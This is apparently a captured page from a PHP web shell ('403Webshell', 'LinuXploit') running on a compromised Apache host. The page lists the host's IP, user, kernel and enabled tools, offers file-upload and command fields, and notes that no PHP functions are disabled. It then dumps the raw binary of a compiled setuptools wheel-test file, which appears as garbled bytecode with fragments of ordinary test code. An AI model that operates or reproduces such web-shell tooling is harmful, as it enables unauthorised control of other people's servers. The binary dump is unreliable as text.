403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/tests/__pycache__/test_wheel.cpython-313.pyc
�

�h�K��R�%SrSSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKrSSKrSSK
Jr SSKrSSKJr SSKJr SSKJr SSKJrJrJr SS	KJr S
SKJr S
SKJr SS
K J!r! SSK"J#r# S\$4SSSSSSSS.4SSSSSSSS.4SSSSSSSS.4SSS S!S"S#S$S.44r%\RLROS%\%\%Vs/sHoSPM	 snS&9S'5r(\RRS�S(j5r*S)r+S*r,S+r-S,r."S-S.5r/\0"S/S0S1S200\0"S0/S39\,"S4/S5QS1/S6.05S79\0"S8\0"S9S:9S;9\0"S<S=\"S>50\0"S?S=/4/S@9\,"S4/S5QS=/SA.05S79\0"SBSC\"SD50\0"\/"SESBSC/SF9/SG9\,"SHSISJ/S5Q0/05S79\0"SKSL\"SM50\0"SL/SN9\,"S4SLSJ/S5Q0/05S79\0"SO\"SP5\"SQ5SR.\0"SSST/SU9\,"S4SJSVSWSXSYSZSSST/0/005S79\0"S[S\\,"S4SJ/S]Q005\"S^5S_9\0"S`Sa\Rb<Sb3\"Sc5Sd9\0"SeSf\Rb<Sg3Sh9\0"SiSjSkSl0\"Sm5Sn9\0"SoSkSp\Rb<Sq30\"Sr5Ss9\0"StSuSkSv0\"Sw5Sn9\0"SxS0SyS1S2000\0"S0/Sz/S{9\,"S4S|SJ/S}Q0S0S1SyS1/0/0/05S79\0"S~SS1S�00\0"S/S/S{9\,"S4S|SJ/S}Q0SS1/0/05S79\0"S�S0S2S=\"S�50S�.0\0"S0/S�S�/4/S�9\,"S4/S5QS1S?S=/0/S6.05S794r2S�\3S�'\RLROS�\2\2Vs/sHoS�PM	 snS&9S�5r4S�r5S�r6S�r7S�r8gs snfs snf)�zwheel tests�)�annotationsN)�Any)�path)�	parse_tag)�canonicalize_name)�PY_MAJOR�Distribution�PathMetadata)�Wheel�)�tempdir)�DALS)�get_config_var)�get_platformzinvalid.whlz&simplewheel-2.0-1-py2.py3-none-any.whl�simplewheelz2.0�1zpy2.py3�none�any)�project_name�version�build�
py_version�abi�platformz$simple.dist-0.1-py2.py3-none-any.whlzsimple.distz0.1z example_pkg_a-1-py3-none-any.whl�
example_pkg_a�py3z9PyQt5-5.9-5.9.1-cp35.cp36.cp37-abi3-manylinux1_x86_64.whl�PyQt5z5.9z5.9.1zcp35.cp36.cp37�abi3�manylinux1_x86_64)�filename�info)�idsc�2�[R"U5(a+[R"U5 [	U5 SSS5 g[	U5nUR5Vs0sHo3[
X#5_M snU:Xdeg!,(df   g=fs snf�N)�inspect�isclass�pytest�raisesr�keys�getattr)r r!�w�ks    �=/usr/lib/python3/dist-packages/setuptools/tests/test_wheel.py�test_wheel_infor.Pso�����t���
�]�]�4�
 ��(�O�!��
�h��A�&*�i�i�k�2�k��w�q�}��k�2�d�:�:�:�	!�
 ���2s�B�$B�
Bc+�# �S[S5U-RS50nU(aURU5 [5n[R
"X#5 [R"[RSSS4US9 [R"[RRUSS55S	v� SSS5 g!,(df   g=f7f)
N�setup.pyz�
            # -*- coding: utf-8 -*-
            from setuptools import setup
            import setuptools
            setup(**%r)
            �utf-8�-q�bdist_wheel��cwd�dist�*.whlr)
r�encode�updater
rr�
subprocess�
check_call�sys�
executable�glob�os�join)�extra_file_defs�kwargs�	file_defs�
source_dirs    r-�build_wheelrE\s����	���
��
��&��/��I������)�	��j��
�
�9�)����
�^�^�Z��}�=�:�	
��i�i������Z���A�B�1�E�E�
���s�AC�A8C�<	C�
C�Cc
��[5n[R"U5H[up#nUHOnUR[RR[RR
X 5U55 MQ M] U$r$)�setr?�walk�addrr@�relpath)�root�contents�dirpath�dirnames�	filenamesr s      r-�tree_setrPusY���u�H�(*����
�$��9�!�H��L�L������b�g�g�o�o�g�&D�h�O�P�"�)6��O�c
��[5nUR5H�up#[U[5(a[	U5nUH�n[U[5(a>U[	U5Vs1sH"n[
RRX%5iM$ sn-nMVUR[
RRX$55 M� M� U$s snf)z8Flatten nested dicts and lists into a full list of paths)	rG�items�
isinstance�dict�flatten_treer?rr@rI)�tree�output�noderL�elem�vals      r-rVrV}s���
�U�F��*�*�,����h��%�%�#�H�-�H��D��$��%�%��l�4�>P�Q�>P�s�2�7�7�<�<��2�>P�Q�Q���
�
�2�7�7�<�<��3�4�	�	'��M��Rs�()C
c
��UVs1sH;nUR[[5[S5=(d [S5S9iM= sn$s snf)N�
EXT_SUFFIX�SO)rr�	shlib_ext)�formatrrr)rW�xs  r-�format_install_treerb�sU���
��A�	
����!�^�$�\�2�J�n�T�6J�	�	
�
�
���s�AA
c�J�[U5n[RRXR	55nURU5 Ub5[
U5n[U5n	URU	5(d	X�-
5e[U[RRUS55n
[R"XzS9nURU:XdeURU:XdeUcURS5(aegX[RS5R!5:Xdeg)N�EGG-INFO)�metadata�requires.txt)rr?rr@�egg_name�install_as_eggrbrP�issubsetr
r	�
from_filenamerr�has_metadata�get_metadata�lstrip)r �install_dir�install_tree_includesrr�requires_txtr+�egg_path�install_tree�exprer6s            r-�_check_wheel_installrt�s��	�h��A��w�w�|�|�K����6�H����X���(�*�+@�A���{�#���$�$�S�)�)�=�<�+=�=�)��H�b�g�g�l�l�8�Z�&H�I�H��%�%�h�B�D�����,�,�,��<�<�7�"�"�"����$�$�^�4�4�4�4�4��0�0��@�G�G�I�I�I�IrQc�$�\rSrSrSrSSjrSrg)�Record�c��XlX lgr$��_id�_fields)�self�idrBs   r-�__init__�Record.__init__�s�����rQc�<�URSUR<S3$)Nz(**�)ry)r|s r-�__repr__�Record.__repr__�s���(�(��3�t�|�|�.�a�0�0rQ)r{rzN)�return�str)�__name__�
__module__�__qualname__�__firstlineno__r~r��__static_attributes__�rQr-rvrv�s���1rQrv�basic�foo�__init__.py�)�packages�foo-1.0-py{py_version}.egg)�PKG-INFO�RECORD�WHEEL�
top_level.txt)rdr��r}rC�setup_kwargsrrr1uDescription accentuée)�description)r}r��datazdata.txtz.
                Some data...
                �data_dir)�
data_files)rdr��	extensionzextension.can
                #include "Python.h"

                #if PY_MAJOR_VERSION >= 3

                static struct PyModuleDef moduledef = {
                        PyModuleDef_HEAD_INIT,
                        "extension",
                        NULL,
                        0,
                        NULL,
                        NULL,
                        NULL,
                        NULL,
                        NULL
                };

                #define INITERROR return NULL

                PyMODINIT_FUNC PyInit_extension(void)

                #else

                #define INITERROR return

                void initextension(void)

                #endif
                {
                #if PY_MAJOR_VERSION >= 3
                    PyObject *module = PyModule_Create(&moduledef);
                #else
                    PyObject *module = Py_InitModule("extension", NULL);
                #endif
                    if (module == NULL)
                        INITERROR;
                #if PY_MAJOR_VERSION >= 3
                    return module;
                #endif
                }
                zsetuptools.Extension)�name�sources)�ext_modulesz%foo-1.0-py{py_version}-{platform}.eggzextension{shlib_ext}rd�headerzheader.hz
                )�headers�script�X
                #/usr/bin/python
                print('hello world!')
                �N
                #/bin/sh
                echo 'hello world!'
                ��	script.py�	script.shr�r���scriptsr�r�r�r�r��	requires1zfoobar==2.0)r�r�r�rfr�z%
            foobar==2.0
            )r}�install_requiresrrrp�	requires2z
        bar
        foo<=2.0; z in sys_platform
        z2
            bar
            foo<=2.0
            )r}r�rp�	requires3z
        bar; z != sys_platform
        )r}r��	requires4z
        foo
        �extrazfoobar>3zG
            foo

            [extra]
            foobar>3
            )r}r��extras_requirerp�	requires5zfoobar; z != sys_platformz!
            [extra]
            )r}r�rp�requires_ensure_orderz9
        foo
        bar
        baz
        qux
        za
            foobar>3
            barbaz>4
            bazqux>5
            quxzap>6
            z�
            foo
            bar
            baz
            qux

            [extra]
            foobar>3
            barbaz>4
            bazqux>5
            quxzap>6
            �namespace_package�barzfoo.bar)�namespace_packagesr�z foo-1.0-py{py_version}-nspkg.pth)r�r�r�znamespace_packages.txtr��empty_namespace_package�foobarz7__import__('pkg_resources').declare_namespace(__name__)�data_in_packagez>
                        Some data...
                        )r�r�zfoo/data_dirzfoo/data_dir/data.txt)r�r�ztuple[dict[str, Any], ...]�WHEEL_INSTALL_TESTS�paramsr}c
���URSS5nURSS5nURS/5nURS05nURSS5nURS5nURS	05nURS
05n[SUUUUUS.UD6n	[5n
[X�XaX%5 SSS5 SSS5 g!,(df   N=f!,(df   g=f)
Nr�r�r�1.0r�r�rprrrCr��r�rr�r�rAr�)�getrEr
rt)r�rrr�r�rprrrCr�r rns           r-�test_wheel_installr�'s����:�:�f�e�,�L��j�j��E�*�G��z�z�"4�b�9���Z�Z� 0�"�5�N��:�:�n�d�3�L��:�:�n�-�L��
�
�;��+�I��:�:�n�b�1�L��	
���-�)�%�	
��
	
���	�[���<�w�	
�	�	
�	
�	�	��	
�	
�s$�!C�,C�:C�
C	�C�
C*c
�0�SnSn[UUS9n[5nURU[U55n[R
"X$5 [
UUS[U5US5 SSS5 SSS5 g!,(df   N=f!,(df   g=f)N�Foo_Barr�)r�r)rEr
�replacer�shutil�movert)rrr rn�new_filenames     r-�test_wheel_install_pep_503r�Es����L��G����	
���	�[��'�'��6G��6U�V�����H�+������l�+���
	
�		�		
�	
�	�	��		
�	
�s#�B�AA6�%B�6
B	�B�
Bc��SnSnUSUS3n[5n[RRX25n[R
"US5R
5 [5n[R"[5 [XESXS5 SSS5 SSS5 SSS5 g!,(df   N=f!,(df   N(=f!,(df   g=f)N�
nodistinfor��-z-py2.py3-none-any.whlr+)r
r?rr@�zipfile�ZipFile�closer'r(�
ValueErrorrt)rr�
wheel_namerD�
wheel_pathrns      r-�test_wheel_no_dist_dirr�[s����L��G� �>��7�)�+@�A�J�	��j��W�W�\�\�*�9�
����
�C�(�.�.�0�
�Y�+����z�*�$��T�<�$��+��	
��
+�*���Y��	
��s<�AC�&B:�B)�B:�C�)
B7�3B:�:
C	�C�
Cc�n�SnURSU5 [S5R5(deg)Nc��[S5Vs1sH&nURURUR4iM( sn$s snf)Nzcp36-cp36m-manylinux1_x86_64)r�interpreterrr)�ts r-�sys_tags�*test_wheel_is_compatible.<locals>.sys_tagsksB���=�>�
�>���]�]�A�E�E�1�:�:�.�>�
�	
��
s�->z$setuptools.wheel._get_supported_tagsz2onnxruntime-0.1.2-cp36-cp36m-manylinux1_x86_64.whl)�setattrr�
is_compatible)�monkeypatchr�s  r-�test_wheel_is_compatibler�js5��
����>��I��E�F�T�T�V�V�V�VrQc�d�[RSSj5n[S[S5[S5S.[SS/S9[	S	S
SSS
SSSS/0/005S9nURSS5nURSS5nURS5nURS05nURS05nU"SUU/0US.UD6n[
5n[XxXBUS5 [U5n	[R"U5U	R5-n
U
S
-S-S-nUR5(de[RS:wa=[[ R""UR!5R$55S:XdeSSS5 SSS5 g!,(df   N=f!,(df   g=f)Nc;�# �S[S5U-RS50nU(aURU5 [5n[R
"X#5 [R"U5S-n[R"US5 [R"[RSSS4US9 [R"[RRUS	S
55Sv� SSS5 g!,(df   g=f7f)Nr0z�
                # -*- coding: utf-8 -*-
                from setuptools import setup
                import setuptools
                setup(**%r)
                r1r�i�r2r3r4r6r7r)rr8r9r
rr�pathlib�Pathr?�chmodr:r;r<r=r>r@)rArBrCrD�runshs     r-rE�$test_wheel_mode.<locals>.build_wheelvs����
�������f�W�o�
�	�����_�-�
�Y�*��J�J�y�-��L�L��,�{�:�E��H�H�U�E�"��!�!�����T�=�A�z�
��)�)�B�G�G�L�L��V�W�E�F�q�I�I��Y�Y�s�AD�B(C5�,	D�5
D�?Dr�r�r�r�r�r�r�r�rdr�r�r�r�r�r�r�r�rr�rrrCr�r��win32�0o777r$r�)�
contextlib�contextmanagerrUrrVr�r
rtrr�r�rg�existsr<r�oct�stat�S_IMODE�st_mode)rEr�rrrrrCr�r rnr+�base�	script_shs            r-�test_wheel_moder�us������J��J�2��������

�� �+�.�
�"�(�����#���k� :�;��+�
#
�
�'�F�@�:�:�f�e�,�L��j�j��E�*�G��:�:�n�-�L��
�
�;��+�I��:�:�n�b�1�L�	�	
�����%�	
��
	
���	�[���<�w��	
�
�(�O���|�|�K�(�1�:�:�<�7���:�%�	�1�K�?�	����!�!�!�!��<�<�7�"��t�|�|�I�N�N�$4�$<�$<�=�>�'�I�I�I�	�	
�	
�	�	��	
�	
�s%�F!�B4F�?F!�
F	�F!�!
F/r$)9�__doc__�
__future__rr�r>r%r?r�r�r�r:r<r��typingrr'�jaracor�packaging.tagsr�packaging.utilsr�
pkg_resourcesrr	r
�setuptools.wheelr�contextsr
�textwrapr�distutils.sysconfigr�distutils.utilrr��WHEEL_INFO_TESTS�mark�parametrizer.r�rErPrVrbrtrvrUrr��__annotations__r�r�r�r�r�)r�r�s00r-�<module>r�sg���"����	��
���
���
��$�-�>�>�"���.�'��J��0�)���#���
	
�
�	/�)���#���
	
�
�	+�+������
	
�
�	D�#���*��+�
	
�
�G.��b������*�?O�0P�?O�!�1��?O�0P���;��;����F��F�0���J�,1�1�	���=�"�-�.���W�
�"�(�L�%��+�#
��
�	���0�
��	������
��#�j�\�2�3�
�"�(�L�'�L�+�#
���&	���4�(�*�,
�Z��*��}�o���
�"�3�&��!��
6�#
��mC�H	������
���L�
�"�(���!��
+�#
���2	��������

�� �+�.�
�"�(�����#���k� :�;��+�
#
�
�'�>	��&�!�(���+�
#
�
��
�
��(	����<�<�"�#	���
�
�
�	����l�l�
�	���	���
�Z�
��
�
��"	���x����/�/?�@�
��
�
�
�	�"��
��
��
�

�!�>	����
�r�*��
�
� %�w��[�
�"�(�2��!���%����0���+�#
���@	�$���M��
�� (�z��Z�
�"�(�2��!���%���+�#
�� �B	���!����!��	�
���W�'�*A�)B�C�D�
�"�(��"�"�&�%���+�#
��%$�M
k3��/�k�\�������$7�8�$7�&���$7�8���

��

�2
�,�W�UJ��I1Q��r	9s�>L�9L$

Youez - 2016 - github.com/yon3zu
LinuXploit